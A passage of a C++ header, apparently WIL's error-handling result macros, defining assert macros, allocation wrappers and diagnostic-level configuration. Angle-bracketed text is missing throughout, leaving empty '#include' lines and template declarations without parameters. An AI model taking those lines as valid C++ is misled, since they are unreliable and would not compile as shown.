__WI_ANALYSIS_ASSUME(_exp) _Analysis_assume_(_exp)\n#else\n#ifdef RESULT_DEBUG\n#define __WI_ANALYSIS_ASSUME(_exp) ((void) 0)\n#else\n// NOTE: Clang does not currently handle __noop correctly and will fail to compile if the argument is not copy\n// constructible. Therefore, use 'sizeof' for syntax validation. We don't do this universally for all compilers\n// since lambdas are not allowed in unevaluated contexts prior to C++20, which does not appear to affect __noop\n#if !defined(_MSC_VER) || defined(__clang__)\n#define __WI_ANALYSIS_ASSUME(_exp) ((void)sizeof(_exp)) // Validate syntax on non-debug builds\n#else\n#define __WI_ANALYSIS_ASSUME(_exp) __noop(_exp)\n#endif\n#endif\n#endif // _PREFAST_\n\n//*****************************************************************************\n// Assert Macros\n//*****************************************************************************\n\n#ifdef RESULT_DEBUG\n#if defined(__clang__) && defined(_WIN32)\n// Clang currently mis-handles '__annotation' for 32-bit - https://bugs.llvm.org/show_bug.cgi?id=41890\n#define __WI_ASSERT_FAIL_ANNOTATION(msg) (void)0\n#else\n#define __WI_ASSERT_FAIL_ANNOTATION(msg) __annotation(L\"Debug\", L\"AssertFail\", msg)\n#endif\n\n#define WI_ASSERT(condition) (__WI_ANALYSIS_ASSUME(condition), ((!(condition)) ? (__WI_ASSERT_FAIL_ANNOTATION(L\"\" #condition), DbgRaiseAssertionFailure(), FALSE) : TRUE))\n#define WI_ASSERT_MSG(condition, msg) (__WI_ANALYSIS_ASSUME(condition), ((!(condition)) ? (__WI_ASSERT_FAIL_ANNOTATION(L##msg), DbgRaiseAssertionFailure(), FALSE) : TRUE))\n#define WI_ASSERT_NOASSUME WI_ASSERT\n#define WI_ASSERT_MSG_NOASSUME WI_ASSERT_MSG\n#define WI_VERIFY WI_ASSERT\n#define WI_VERIFY_MSG WI_ASSERT_MSG\n#define WI_VERIFY_SUCCEEDED(condition) WI_ASSERT(SUCCEEDED(condition))\n#else\n#define WI_ASSERT(condition) (__WI_ANALYSIS_ASSUME(condition), 0)\n#define WI_ASSERT_MSG(condition, msg) (__WI_ANALYSIS_ASSUME(condition), 0)\n#define WI_ASSERT_NOASSUME(condition) ((void) 0)\n#define WI_ASSERT_MSG_NOASSUME(condition, msg) ((void) 0)\n#define WI_VERIFY(condition) (__WI_ANALYSIS_ASSUME(condition), ((condition) ? TRUE : FALSE))\n#define WI_VERIFY_MSG(condition, msg) (__WI_ANALYSIS_ASSUME(condition), ((condition) ? TRUE : FALSE))\n#define WI_VERIFY_SUCCEEDED(condition) (__WI_ANALYSIS_ASSUME(SUCCEEDED(condition)), ((SUCCEEDED(condition)) ? TRUE : FALSE))\n#endif // RESULT_DEBUG\n\n#if !defined(_NTDEF_)\ntypedef _Return_type_success_(return >= 0) LONG NTSTATUS;\n#endif\n#ifndef STATUS_SUCCESS\n#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)\n#endif\n#ifndef STATUS_UNSUCCESSFUL\n#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)\n#endif\n\n#ifndef WIL_AllocateMemory\n#ifdef _KERNEL_MODE\n#define WIL_AllocateMemory(SIZE) ExAllocatePoolWithTag(NonPagedPoolNx, SIZE, 'LIW')\nWI_ODR_PRAGMA(\"WIL_AllocateMemory\", \"2\")\n#else\n#define WIL_AllocateMemory(SIZE) HeapAlloc(GetProcessHeap(), 0, SIZE)\nWI_ODR_PRAGMA(\"WIL_AllocateMemory\", \"1\")\n#endif\n#else\nWI_ODR_PRAGMA(\"WIL_AllocateMemory\", \"0\")\n#endif\n\n#ifndef WIL_FreeMemory\n#ifdef _KERNEL_MODE\n#define WIL_FreeMemory(MEM) ExFreePoolWithTag(MEM, 'LIW')\nWI_ODR_PRAGMA(\"WIL_FreeMemory\", \"2\")\n#else\n#define WIL_FreeMemory(MEM) HeapFree(GetProcessHeap(), 0, MEM)\nWI_ODR_PRAGMA(\"WIL_FreeMemory\", \"1\")\n#endif\n#else\nWI_ODR_PRAGMA(\"WIL_FreeMemory\", \"0\")\n#endif\n\n// It would appear as though the C++17 \"noexcept is part of the type system\" update in MSVC has \"infected\" the behavior\n// when compiling with C++14 (the default...), however the updated behavior for decltype understanding noexcept is _not_\n// present... So, work around it\n#if __WI_LIBCPP_STD_VER >= 17\n#define WI_PFN_NOEXCEPT WI_NOEXCEPT\n#else\n#define WI_PFN_NOEXCEPT\n#endif\n/// @endcond\n\n#if defined(__cplusplus) && !defined(__WIL_MIN_KERNEL) && !defined(WIL_KERNEL_MODE)\n\n#include \n#include // provides the _ReturnAddress() intrinsic\n#include // provides 'operator new', 'std::nothrow', etc.\n#if defined(WIL_ENABLE_EXCEPTIONS) && !defined(WIL_SUPPRESS_NEW)\n#include // provides std::bad_alloc in the windows and public CRT headers\n#endif\n\n#pragma warning(push)\n#pragma warning(disable:4714 6262) // __forceinline not honored, stack size\n\n//*****************************************************************************\n// Behavioral setup (error handling macro configuration)\n//*****************************************************************************\n// Set any of the following macros to the values given below before including Result.h to\n// control the error handling macro's trade-offs between diagnostics and performance\n\n// RESULT_DIAGNOSTICS_LEVEL\n// This define controls the level of diagnostic instrumentation that is built into the binary as a\n// byproduct of using the macros. The amount of diagnostic instrumentation that is supplied is\n// a trade-off between diagnosibility of issues and code size and performance. The modes are:\n// 0 - No diagnostics, smallest & fastest (subject to tail-merge)\n// 1 - No diagnostics, unique call sites for each macro (defeat's tail-merge)\n// 2 - Line number\n// 3 - Line number + source filename\n// 4 - Line number + source filename + function name\n// 5 - Line number + source filename + function name + code within the macro\n// By default, mode 3 is used in free builds and mode 5 is used in checked builds. Note that the\n// _ReturnAddress() will always be available through all modes when possible.\n\n// RESULT_INCLUDE_CALLER_RETURNADDRESS\n// This controls whether or not the _ReturnAddress() of the function that includes the macro will\n// be reported to telemetry. Note that this is in addition to the _ReturnAddress() of the actual\n// macro position (which is always reported). The values are:\n// 0 - The address is not included\n// 1 - The address is included\n// The default value is '1'.\n\n// RESULT_INLINE_ERROR_TESTS\n// For conditional macros (other than RETURN_XXX), this controls whether branches will be evaluated\n// within the call containing the macro or will be forced into the function called by the macros.\n// Pushing branching into the called function reduces code size and the number of unique branches\n// evaluated, but increases the instruction count executed per macro.\n// 0 - Branching will not happen inline to the macros\n// 1 - Branching is pushed into the calling function via __forceinline\n// The default value is '1'. Note that XXX_MSG functions are always effectively mode '0' due to the\n// compiler's unwillingness to inline var-arg functions.\n\n// RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST\n// RESULT_INCLUDE_CALLER_RETURNADDRESS_FAIL_FAST\n// RESULT_INLINE_ERROR_TESTS_FAIL_FAST\n// These defines are identical to those above in form/function, but only applicable to fail fast error\n// handling allowing a process to have different diagnostic information and performance characteristics\n// for fail fast than for other error handling given the different reporting infrastructure (Watson\n// vs Telemetry).\n\n// Set the default diagnostic mode\n// Note that RESULT_DEBUG_INFO and RESULT_SUPPRESS_DEBUG_INFO are older deprecated models of controlling mode\n#ifndef RESULT_DIAGNOSTICS_LEVEL\n#if (defined(RESULT_DEBUG) || defined(RESULT_DEBUG_INFO)) && !defined(RESULT_SUPPRESS_DEBUG_INFO)\n#define RESULT_DIAGNOSTICS_LEVEL 5\n#else\n#define RESULT_DIAGNOSTICS_LEVEL 3\n#endif\n#endif\n#ifndef RESULT_INCLUDE_CALLER_RETURNADDRESS\n#define RESULT_INCLUDE_CALLER_RETURNADDRESS 1\n#endif\n#ifndef RESULT_INLINE_ERROR_TESTS\n#define RESULT_INLINE_ERROR_TESTS 1\n#endif\n#ifndef RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST\n#define RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST RESULT_DIAGNOSTICS_LEVEL\n#endif\n#ifndef RESULT_INCLUDE_CALLER_RETURNADDRESS_FAIL_FAST\n#define RESULT_INCLUDE_CALLER_RETURNADDRESS_FAIL_FAST RESULT_INCLUDE_CALLER_RETURNADDRESS\n#endif\n#ifndef RESULT_INLINE_ERROR_TESTS_FAIL_FAST\n#define RESULT_INLINE_ERROR_TESTS_FAIL_FAST RESULT_INLINE_ERROR_TESTS\n#endif\n\n\n//*****************************************************************************\n// Win32 specific error macros\n//*****************************************************************************\n\n#define FAILED_WIN32(win32err) ((win32err) != 0)\n#define SUCCEEDED_WIN32(win32err) ((win32err) == 0)\n\n\n//*****************************************************************************\n// NT_STATUS specific error macros\n//*****************************************************************************\n\n#define FAILED_NTSTATUS(status) (((NTSTATUS)(status)) < 0)\n#define SUCCEEDED_NTSTATUS(status) (((NTSTATUS)(status)) >= 0)\n\n\n//*****************************************************************************\n// Testing helpers - redefine to run unit tests against fail fast\n//*****************************************************************************\n\n#ifndef RESULT_NORETURN\n#define RESULT_NORETURN __declspec(noreturn)\n#endif\n#ifndef RESULT_NORETURN_NULL\n#define RESULT_NORETURN_NULL _Ret_notnull_\n#endif\n#ifndef RESULT_NORETURN_RESULT\n#define RESULT_NORETURN_RESULT(expr) (void)(expr);\n#endif\n\n//*****************************************************************************\n// Helpers to setup the macros and functions used below... do not directly use.\n//*****************************************************************************\n\n/// @cond\n#define __R_DIAGNOSTICS(diagnostics) diagnostics.returnAddress, diagnostics.line, diagnostics.file, nullptr, nullptr\n#define __R_DIAGNOSTICS_RA(diagnostics, address) diagnostics.returnAddress, diagnostics.line, diagnostics.file, nullptr, nullptr, address\n#define __R_FN_PARAMS_FULL _In_opt_ void* callerReturnAddress, unsigned int lineNumber, _In_opt_ PCSTR fileName, _In_opt_ PCSTR functionName, _In_opt_ PCSTR code, void* returnAddress\n#define __R_FN_LOCALS_FULL_RA void* callerReturnAddress = nullptr; unsigned int lineNumber = 0; PCSTR fileName = nullptr; PCSTR functionName = nullptr; PCSTR code = nullptr; void* returnAddress = _ReturnAddress();\n// NOTE: This BEGINs the common macro handling (__R_ prefix) for non-fail fast handled cases\n// This entire section will be repeated below for fail fast (__RFF_ prefix).\n#define __R_COMMA ,\n#define __R_FN_CALL_FULL callerReturnAddress, lineNumber, fileName, functionName, code, returnAddress\n#define __R_FN_CALL_FULL_RA callerReturnAddress, lineNumber, fileName, functionName, code, _ReturnAddress()\n// The following macros assemble the varying amount of data we want to collect from the macros, treating it uniformly\n#if (RESULT_DIAGNOSTICS_LEVEL >= 2) // line number\n#define __R_IF_LINE(term) term\n#define __R_IF_NOT_LINE(term)\n#define __R_IF_COMMA ,\n#define __R_LINE_VALUE static_cast(__LINE__)\n#else\n#define __R_IF_LINE(term)\n#define __R_IF_NOT_LINE(term) term\n#define __R_IF_COMMA\n#define __R_LINE_VALUE static_cast(0)\n#endif\n#if (RESULT_DIAGNOSTICS_LEVEL >= 3) // line number + file name\n#define __R_IF_FILE(term) term\n#define __R_IF_NOT_FILE(term)\n#define __R_FILE_VALUE __FILE__\n#else\n#define __R_IF_FILE(term)\n#define __R_IF_NOT_FILE(term) term\n#define __R_FILE_VALUE nullptr\n#endif\n#if (RESULT_DIAGNOSTICS_LEVEL >= 4) // line number + file name + function name\n#define __R_IF_FUNCTION(term) term\n#define __R_IF_NOT_FUNCTION(term)\n#else\n#define __R_IF_FUNCTION(term)\n#define __R_IF_NOT_FUNCTION(term) term\n#endif\n#if (RESULT_DIAGNOSTICS_LEVEL >= 5) // line number + file name + function name + macro code\n#define __R_IF_CODE(term) term\n#define __R_IF_NOT_CODE(term)\n#else\n#define __R_IF_CODE(term)\n#define __R_IF_NOT_CODE(term) term\n#endif\n#if (RESULT_INCLUDE_CALLER_RETURNADDRESS == 1)\n#define __R_IF_CALLERADDRESS(term) term\n#define __R_IF_NOT_CALLERADDRESS(term)\n#define __R_CALLERADDRESS_VALUE _ReturnAddress()\n#else\n#define __R_IF_CALLERADDRESS(term)\n#define __R_IF_NOT_CALLERADDRESS(term) term\n#define __R_CALLERADDRESS_VALUE nullptr\n#endif\n#if (RESULT_INCLUDE_CALLER_RETURNADDRESS == 1) || (RESULT_DIAGNOSTICS_LEVEL >= 2)\n#define __R_IF_TRAIL_COMMA ,\n#else\n#define __R_IF_TRAIL_COMMA\n#endif\n// Assemble the varying amounts of data into a single macro\n#define __R_INFO_ONLY(CODE) __R_IF_CALLERADDRESS(_ReturnAddress() __R_IF_COMMA) __R_IF_LINE(__R_LINE_VALUE) __R_IF_FILE(__R_COMMA __R_FILE_VALUE) __R_IF_FUNCTION(__R_COMMA __FUNCTION__) __R_IF_CODE(__R_COMMA CODE)\n#define __R_INFO(CODE) __R_INFO_ONLY(CODE) __R_IF_TRAIL_COMMA\n#define __R_INFO_NOFILE_ONLY(CODE) __R_IF_CALLERADDRESS(_ReturnAddress() __R_IF_COMMA) __R_IF_LINE(__R_LINE_VALUE) __R_IF_FILE(__R_COMMA \"wil\") __R_IF_FUNCTION(__R_COMMA __FUNCTION__) __R_IF_CODE(__R_COMMA CODE)\n#define __R_INFO_NOFILE(CODE) __R_INFO_NOFILE_ONLY(CODE) __R_IF_TRAIL_COMMA\n#define __R_FN_PARAMS_ONLY __R_IF_CALLERADDRESS(void* callerReturnAddress __R_IF_COMMA) __R_IF_LINE(unsigned int lineNumber) __R_IF_FILE(__R_COMMA _In_opt_ PCSTR fileName) __R_IF_FUNCTION(__R_COMMA _In_opt_ PCSTR functionName) __R_IF_CODE(__R_COMMA _In_opt_ PCSTR code)\n#define __R_FN_PARAMS __R_FN_PARAMS_ONLY __R_IF_TRAIL_COMMA\n#define __R_FN_CALL_ONLY __R_IF_CALLERADDRESS(callerReturnAddress __R_IF_COMMA) __R_IF_LINE(lineNumber) __R_IF_FILE(__R_COMMA fileName) __R_IF_FUNCTION(__R_COMMA functionName) __R_IF_CODE(__R_COMMA code)\n#define __R_FN_CALL __R_FN_CALL_ONLY __R_IF_TRAIL_COMMA\n#define __R_FN_LOCALS __R_IF_NOT_CALLERADDRESS(void* callerReturnAddress = nullptr;) __R_IF_NOT_LINE(unsigned int lineNumber = 0;) __R_IF_NOT_FILE(PCSTR fileName = nullptr;) __R_IF_NOT_FUNCTION(PCSTR functionName = nullptr;) __R_IF_NOT_CODE(PCSTR code = nullptr;)\n#define __R_FN_LOCALS_RA __R_IF_NOT_CALLERADDRESS(void* callerReturnAddress = nullptr;) __R_IF_NOT_LINE(unsigned int lineNumber = 0;) __R_IF_NOT_FILE(PCSTR fileName = nullptr;) __R_IF_NOT_FUNCTION(PCSTR functionName = nullptr;) __R_IF_NOT_CODE(PCSTR code = nullptr;) void* returnAddress = _ReturnAddress();\n#define __R_FN_UNREFERENCED __R_IF_CALLERADDRESS((void)callerReturnAddress;) __R_IF_LINE((void)lineNumber;) __R_IF_FILE((void)fileName;) __R_IF_FUNCTION((void)functionName;) __R_IF_CODE((void)code;)\n// 1) Direct Methods\n// * Called Directly by Macros\n// * Always noinline\n// * May be template-driven to create unique call sites if (RESULT_DIAGNOSTICS_LEVEL == 1)\n#if (RESULT_DIAGNOSTICS_LEVEL == 1)\n#define __R_DIRECT_METHOD(RetType, MethodName) template inline __declspec(noinline) RetType MethodName\n#define __R_DIRECT_NORET_METHOD(RetType, MethodName) template inline __declspec(noinline) RESULT_NORETURN RetType MethodName\n#else\n#define __R_DIRECT_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName\n#define __R_DIRECT_NORET_METHOD(RetType, MethodName) inline __declspec(noinline) RESULT_NORETURN RetType MethodName\n#endif\n#define __R_DIRECT_FN_PARAMS __R_FN_PARAMS\n#define __R_DIRECT_FN_PARAMS_ONLY __R_FN_PARAMS_ONLY\n#define __R_DIRECT_FN_CALL __R_FN_CALL_FULL_RA __R_COMMA\n#define __R_DIRECT_FN_CALL_ONLY __R_FN_CALL_FULL_RA\n// 2) Internal Methods\n// * Only called by Conditional routines\n// * 'inline' when (RESULT_INLINE_ERROR_TESTS = 0 and RESULT_DIAGNOSTICS_LEVEL != 1), otherwise noinline (directly called by code when branching is forceinlined)\n// * May be template-driven to create unique call sites if (RESULT_DIAGNOSTICS_LEVEL == 1 and RESULT_INLINE_ERROR_TESTS = 1)\n#if (RESULT_DIAGNOSTICS_LEVEL == 1)\n#define __R_INTERNAL_NOINLINE_METHOD(MethodName) inline __declspec(noinline) void MethodName\n#define __R_INTERNAL_NOINLINE_NORET_METHOD(MethodName) inline __declspec(noinline) RESULT_NORETURN void MethodName\n#define __R_INTERNAL_INLINE_METHOD(MethodName) template inline __declspec(noinline) void MethodName\n#define __R_INTERNAL_INLINE_NORET_METHOD(MethodName) template inline __declspec(noinline) RESULT_NORETURN void MethodName\n#define __R_CALL_INTERNAL_INLINE_METHOD(MethodName) MethodName \n#else\n#define __R_INTERNAL_NOINLINE_METHOD(MethodName) inline void MethodName\n#define __R_INTERNAL_NOINLINE_NORET_METHOD(MethodName) inline RESULT_NORETURN void MethodName\n#define __R_INTERNAL_INLINE_METHOD(MethodName) inline __declspec(noinline) void MethodName\n#define __R_INTERNAL_INLINE_NORET_METHOD(MethodName) inline __declspec(noinline) RESULT_NORETURN void MethodName\n#define __R_CALL_INTERNAL_INLINE_METHOD(MethodName) MethodName\n#endif\n#define __R_CALL_INTERNAL_NOINLINE_METHOD(MethodName) MethodName\n#define __R_INTERNAL_NOINLINE_FN_PARAMS __R_FN_PARAMS void* returnAddress __R_COMMA\n#define __R_INTERNAL_NOINLINE_FN_PARAMS_ONLY __R_FN_PARAMS void* returnAddress\n#define __R_INTERNAL_NOINLINE_FN_CALL __R_FN_CALL_FULL __R_COMMA\n#define __R_INTERNAL_NOINLINE_FN_CALL_ONLY __R_FN_CALL_FULL\n#define __R_INTERNAL_INLINE_FN_PARAMS __R_FN_PARAMS\n#define __R_INTERNAL_INLINE_FN_PARAMS_ONLY __R_FN_PARAMS_ONLY\n#define __R_INTERNAL_INLINE_FN_CALL __R_FN_CALL_FULL_RA __R_COMMA\n#define __R_INTERNAL_INLINE_FN_CALL_ONLY __R_FN_CALL_FULL_RA\n#if (RESULT_INLINE_ERROR_TESTS == 0)\n#define __R_INTERNAL_METHOD __R_INTERNAL_NOINLINE_METHOD\n#define __R_INTERNAL_NORET_METHOD __R_INTERNAL_NOINLINE_NORET_METHOD\n#define __R_CALL_INTERNAL_METHOD __R_CALL_INTERNAL_NOINLINE_METHOD\n#define __R_INTERNAL_FN_PARAMS __R_INTERNAL_NOINLINE_FN_PARAMS\n#define __R_INTERNAL_FN_PARAMS_ONLY __R_INTERNAL_NOINLINE_FN_PARAMS_ONLY\n#define __R_INTERNAL_FN_CALL __R_INTERNAL_NOINLINE_FN_CALL\n#define __R_INTERNAL_FN_CALL_ONLY __R_INTERNAL_NOINLINE_FN_CALL_ONLY\n#else\n#define __R_INTERNAL_METHOD __R_INTERNAL_INLINE_METHOD\n#define __R_INTERNAL_NORET_METHOD __R_INTERNAL_INLINE_NORET_METHOD\n#define __R_CALL_INTERNAL_METHOD __R_CALL_INTERNAL_INLINE_METHOD\n#define __R_INTERNAL_FN_PARAMS __R_INTERNAL_INLINE_FN_PARAMS\n#define __R_INTERNAL_FN_PARAMS_ONLY __R_INTERNAL_INLINE_FN_PARAMS_ONLY\n#define __R_INTERNAL_FN_CALL __R_INTERNAL_INLINE_FN_CALL\n#define __R_INTERNAL_FN_CALL_ONLY __R_INTERNAL_INLINE_FN_CALL_ONLY\n#endif\n// 3) Conditional Methods\n// * Called Directly by Macros\n// * May be noinline or __forceinline depending upon (RESULT_INLINE_ERROR_TESTS)\n// * May be template-driven to create unique call sites if (RESULT_DIAGNOSTICS_LEVEL == 1)\n#if (RESULT_DIAGNOSTICS_LEVEL == 1)\n#define __R_CONDITIONAL_NOINLINE_METHOD(RetType, MethodName) template inline __declspec(noinline) RetType MethodName\n#define __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName\n#define __R_CONDITIONAL_INLINE_METHOD(RetType, MethodName) template __forceinline RetType MethodName\n#define __R_CONDITIONAL_INLINE_TEMPLATE_METHOD(RetType, MethodName) __forceinline RetType MethodName\n#define __R_CONDITIONAL_PARTIAL_TEMPLATE unsigned int optimizerCounter __R_COMMA\n#else\n#define __R_CONDITIONAL_NOINLINE_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName\n#define __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName\n#define __R_CONDITIONAL_INLINE_METHOD(RetType, MethodName) __forceinline RetType MethodName\n#define __R_CONDITIONAL_INLINE_TEMPLATE_METHOD(RetType, MethodName) __forceinline RetType MethodName\n#define __R_CONDITIONAL_PARTIAL_TEMPLATE\n#endif\n#define __R_CONDITIONAL_NOINLINE_FN_CALL __R_FN_CALL _ReturnAddress() __R_COMMA\n#define __R_CONDITIONAL_NOINLINE_FN_CALL_ONLY __R_FN_CALL _ReturnAddress()\n#define __R_CONDITIONAL_INLINE_FN_CALL __R_FN_CALL\n#define __R_CONDITIONAL_INLINE_FN_CALL_ONLY __R_FN_CALL_ONLY\n#if (RESULT_INLINE_ERROR_TESTS == 0)\n#define __R_CONDITIONAL_METHOD __R_CONDITIONAL_NOINLINE_METHOD\n#define __R_CONDITIONAL_TEMPLATE_METHOD __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD\n#define __R_CONDITIONAL_FN_CALL __R_CONDITIONAL_NOINLINE_FN_CALL\n#define __R_CONDITIONAL_FN_CALL_ONLY __R_CONDITIONAL_NOINLINE_FN_CALL_ONLY\n#else\n#define __R_CONDITIONAL_METHOD __R_CONDITIONAL_INLINE_METHOD\n#define __R_CONDITIONAL_TEMPLATE_METHOD __R_CONDITIONAL_INLINE_TEMPLATE_METHOD\n#define __R_CONDITIONAL_FN_CALL __R_CONDITIONAL_INLINE_FN_CALL\n#define __R_CONDITIONAL_FN_CALL_ONLY __R_CONDITIONAL_INLINE_FN_CALL_ONLY\n#endif\n#define __R_CONDITIONAL_FN_PARAMS __R_FN_PARAMS\n#define __R_CONDITIONAL_FN_PARAMS_ONLY __R_FN_PARAMS_ONLY\n// Macro call-site helpers\n#define __R_NS_ASSEMBLE2(ri, rd) in##ri##diag##rd // Differing internal namespaces eliminate ODR violations between modes\n#define __R_NS_ASSEMBLE(ri, rd) __R_NS_ASSEMBLE2(ri, rd)\n#define __R_NS_NAME __R_NS_ASSEMBLE(RESULT_INLINE_ERROR_TESTS, RESULT_DIAGNOSTICS_LEVEL)\n#define __R_NS wil::details::__R_NS_NAME\n#if (RESULT_DIAGNOSTICS_LEVEL == 1)\n#define __R_FN(MethodName) __R_NS:: MethodName <__COUNTER__>\n#else\n#define __R_FN(MethodName) __R_NS:: MethodName\n#endif\n// NOTE: This ENDs the common macro handling (__R_ prefix) for non-fail fast handled cases\n// This entire section is repeated below for fail fast (__RFF_ prefix). For ease of editing this section, the\n// process is to copy/paste, and search and replace (__R_ -> __RFF_), (RESULT_DIAGNOSTICS_LEVEL -> RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST),\n// (RESULT_INLINE_ERROR_TESTS -> RESULT_INLINE_ERROR_TESTS_FAIL_FAST) and (RESULT_INCLUDE_CALLER_RETURNADDRESS -> RESULT_INCLUDE_CALLER_RETURNADDRESS_FAIL_FAST)\n#define __RFF_COMMA ,\n#define __RFF_FN_CALL_FULL callerReturnAddress, lineNumber, fileName, functionName, code, returnAddress\n#define __RFF_FN_CALL_FULL_RA callerReturnAddress, lineNumber, fileName, functionName, code, _ReturnAddress()\n// The following macros assemble the varying amount of data we want to collect from the macros, treating it uniformly\n#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST >= 2) // line number\n#define __RFF_IF_LINE(term) term\n#define __RFF_IF_NOT_LINE(term)\n#define __RFF_IF_COMMA ,\n#else\n#define __RFF_IF_LINE(term)\n#define __RFF_IF_NOT_LINE(term) term\n#define __RFF_IF_COMMA\n#endif\n#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST >= 3) // line number + file name\n#define __RFF_IF_FILE(term) term\n#define __RFF_IF_NOT_FILE(term)\n#else\n#define __RFF_IF_FILE(term)\n#define __RFF_IF_NOT_FILE(term) term\n#endif\n#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST >= 4) // line number + file name + function name\n#define __RFF_IF_FUNCTION(term) term\n#define __RFF_IF_NOT_FUNCTION(term)\n#else\n#define __RFF_IF_FUNCTION(term)\n#define __RFF_IF_NOT_FUNCTION(term) term\n#endif\n#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST >= 5) // line number + file name + function name + macro code\n#define __RFF_IF_CODE(term) term\n#define __RFF_IF_NOT_CODE(term)\n#else\n#define __RFF_IF_CODE(term)\n#define __RFF_IF_NOT_CODE(term) term\n#endif\n#if (RESULT_INCLUDE_CALLER_RETURNADDRESS_FAIL_FAST == 1)\n#define __RFF_IF_CALLERADDRESS(term) term\n#define __RFF_IF_NOT_CALLERADDRESS(term)\n#else\n#define __RFF_IF_CALLERADDRESS(term)\n#define __RFF_IF_NOT_CALLERADDRESS(term) term\n#endif\n#if (RESULT_INCLUDE_CALLER_RETURNADDRESS_FAIL_FAST == 1) || (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST >= 2)\n#define __RFF_IF_TRAIL_COMMA ,\n#else\n#define __RFF_IF_TRAIL_COMMA\n#endif\n// Assemble the varying amounts of data into a single macro\n#define __RFF_INFO_ONLY(CODE) __RFF_IF_CALLERADDRESS(_ReturnAddress() __RFF_IF_COMMA) __RFF_IF_LINE(__R_LINE_VALUE) __RFF_IF_FILE(__RFF_COMMA __R_FILE_VALUE) __RFF_IF_FUNCTION(__RFF_COMMA __FUNCTION__) __RFF_IF_CODE(__RFF_COMMA CODE)\n#define __RFF_INFO(CODE) __RFF_INFO_ONLY(CODE) __RFF_IF_TRAIL_COMMA\n#define __RFF_INFO_NOFILE_ONLY(CODE) __RFF_IF_CALLERADDRESS(_ReturnAddress() __RFF_IF_COMMA) __RFF_IF_LINE(__R_LINE_VALUE) __RFF_IF_FILE(__RFF_COMMA \"wil\") __RFF_IF_FUNCTION(__RFF_COMMA __FUNCTION__) __RFF_IF_CODE(__RFF_COMMA CODE)\n#define __RFF_INFO_NOFILE(CODE) __RFF_INFO_NOFILE_ONLY(CODE) __RFF_IF_TRAIL_COMMA\n#define __RFF_FN_PARAMS_ONLY __RFF_IF_CALLERADDRESS(void* callerReturnAddress __RFF_IF_COMMA) __RFF_IF_LINE(unsigned int lineNumber) __RFF_IF_FILE(__RFF_COMMA _In_opt_ PCSTR fileName) __RFF_IF_FUNCTION(__RFF_COMMA _In_opt_ PCSTR functionName) __RFF_IF_CODE(__RFF_COMMA _In_opt_ PCSTR code)\n#define __RFF_FN_PARAMS __RFF_FN_PARAMS_ONLY __RFF_IF_TRAIL_COMMA\n#define __RFF_FN_CALL_ONLY __RFF_IF_CALLERADDRESS(callerReturnAddress __RFF_IF_COMMA) __RFF_IF_LINE(lineNumber) __RFF_IF_FILE(__RFF_COMMA fileName) __RFF_IF_FUNCTION(__RFF_COMMA functionName) __RFF_IF_CODE(__RFF_COMMA code)\n#define __RFF_FN_CALL __RFF_FN_CALL_ONLY __RFF_IF_TRAIL_COMMA\n#define __RFF_FN_LOCALS __RFF_IF_NOT_CALLERADDRESS(void* callerReturnAddress = nullptr;) __RFF_IF_NOT_LINE(unsigned int lineNumber = 0;) __RFF_IF_NOT_FILE(PCSTR fileName = nullptr;) __RFF_IF_NOT_FUNCTION(PCSTR functionName = nullptr;) __RFF_IF_NOT_CODE(PCSTR code = nullptr;)\n#define __RFF_FN_UNREFERENCED __RFF_IF_CALLERADDRESS(callerReturnAddress;) __RFF_IF_LINE(lineNumber;) __RFF_IF_FILE(fileName;) __RFF_IF_FUNCTION(functionName;) __RFF_IF_CODE(code;)\n// 1) Direct Methods\n// * Called Directly by Macros\n// * Always noinline\n// * May be template-driven to create unique call sites if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1)\n#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1)\n#define __RFF_DIRECT_METHOD(RetType, MethodName) template inline __declspec(noinline) RetType MethodName\n#define __RFF_DIRECT_NORET_METHOD(RetType, MethodName) template inline __declspec(noinline) RESULT_NORETURN RetType MethodName\n#else\n#define __RFF_DIRECT_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName\n#define __RFF_DIRECT_NORET_METHOD(RetType, MethodName) inline __declspec(noinline) RESULT_NORETURN RetType MethodName\n#endif\n#define __RFF_DIRECT_FN_PARAMS __RFF_FN_PARAMS\n#define __RFF_DIRECT_FN_PARAMS_ONLY __RFF_FN_PARAMS_ONLY\n#define __RFF_DIRECT_FN_CALL __RFF_FN_CALL_FULL_RA __RFF_COMMA\n#define __RFF_DIRECT_FN_CALL_ONLY __RFF_FN_CALL_FULL_RA\n// 2) Internal Methods\n// * Only called by Conditional routines\n// * 'inline' when (RESULT_INLINE_ERROR_TESTS_FAIL_FAST = 0 and RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST != 1), otherwise noinline (directly called by code when branching is forceinlined)\n// * May be template-driven to create unique call sites if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1 and RESULT_INLINE_ERROR_TESTS_FAIL_FAST = 1)\n#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1)\n#define __RFF_INTERNAL_NOINLINE_METHOD(MethodName) inline __declspec(noinline) void MethodName\n#define __RFF_INTERNAL_NOINLINE_NORET_METHOD(MethodName) inline __declspec(noinline) RESULT_NORETURN void MethodName\n#define __RFF_INTERNAL_INLINE_METHOD(MethodName) template inline __declspec(noinline) void MethodName\n#define __RFF_INTERNAL_INLINE_NORET_METHOD(MethodName) template inline __declspec(noinline) RESULT_NORETURN void MethodName\n#define __RFF_CALL_INTERNAL_INLINE_METHOD(MethodName) MethodName \n#else\n#define __RFF_INTERNAL_NOINLINE_METHOD(MethodName) inline void MethodName\n#define 